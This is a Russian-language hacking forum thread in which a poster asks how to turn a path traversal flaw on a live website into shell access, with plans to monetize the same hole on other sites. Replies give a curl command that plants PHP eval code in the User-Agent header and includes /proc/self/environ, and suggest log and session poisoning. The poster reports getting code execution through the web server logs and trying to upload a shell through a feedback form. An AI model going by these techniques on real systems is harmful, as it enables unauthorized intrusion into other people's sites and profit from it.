Приветствую коллеги! _http://www.site.ru/?param=../../../../../../../etc/passwd Есть возможность с помощью передачи параметра в гет запрос передать имя файла и посмотреть его, но к сожалению только неисполняемые файлы, а очень бы хотелось и .php посмотреть Подскажите - есть ли возможность "выжать" с этой уязвимости нечто большее (в идеале залить шелл) Файл пытается брать с конкретной папки - адрес своего сайта не подставить только подниматься "выше" с помощью /../ P.S. Знать бы где бэкапы всего хостинга лежат (если они конечно есть) ...
.htpasswd - открывается, но толку нет! Попробовал .git чтобы хоть файловую структуру и движек понять - его нет локальный php.ini посмотрел - но опять же - смысл ? Попробовал - index.php.bak index.php.old index.php..1 - опять мимо
Аналогичную уязвимость обнаружил ещё на группе сайтов! (на разных платформах) Причём уже точно знаю как это можно неплохо монетизировать - осталось только получить доступ к скриптам
Интересно, где нить список "мусорных" но возможно полезных файлов есть? попробовать прочекать все сайты на все возможные комбинации - может где нибудь стрельнёт что-нибудь? Пока сам составлю + поищу в сети ...
.htpasswd не прочитать так просто тс php файлы не читаются? может быть инклуд? попробуй curl 'http://site.com/page=../../../../../../../../proc/self/environ&cmd=phpinfo();' -H 'User-Agent: <?php eval(\$_GET[cmd]); ?>' аналогично можно попробовать проинклудить сессию или access логи apache/nginx
про врапперы тоже подумал, но если инклуд "составной" 'include/'.$_GET[page] разве можно заюзать враппер? чет не помню, вроде нет
Тут ничего сказать не могу. По моему не важно как реализовать эту уязвимость, ему важно поиметь сайт, а это сов7 другая история
Такой вот ответ на инклуд дал: PHPRC=/home/u21370/etc/php PATH=/usr/local/bin:/usr/bin:/bin PWD=/usr/lib/cgi-bin LANG=ru_RU.UTF-8 SHLVL=0 PHP_FCGI_MAX_REQUESTS=3000 Регнулся я на этом же хостинге, чтобы понять структуру файлов - в итоге у меня есть логи вебсервера! пока тоже не знаю что с ними делать Так же обнаружил возможность загрузить файл через форму обратной связи - на загрузку shell.php даже не рунгулся - сообщение принято! но блин, где он лежит (если вообще лежит) - непонятно P.S. Спасибо за советы!
А инклуд то прошел правда не совсем так, как задумано - в логах PHP исполняется! правда сейчас ошибку компиляции даёт Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /home/u21370/site.ru/www/index.php(5) : eval()'d code on line 34342 Parse error: syntax error, unexpected T_LNUMBER, expecting ',' or ';' in /home/u21370/site.ru/www/index.php(5) : eval()'d code on line 34342 Но завтра логи почистятся, и я туда постараюсь воткнуть, то что нужно! вот, что значит open_basedir не юзать входящие переменные не проверять и вывод ошибок не отключать
Передача Гет параметров в моём случае меняет название файла - не пойдёт такой вариант А вот chr() - просто спасение! Эта тема выручила /threads/389130/
Или можно было попробовать _POST[cmd] и генерировать POST запрос с переменной cmd - но т.к. у меня получилось то, что хотелось попроще - этот вариант не пробовал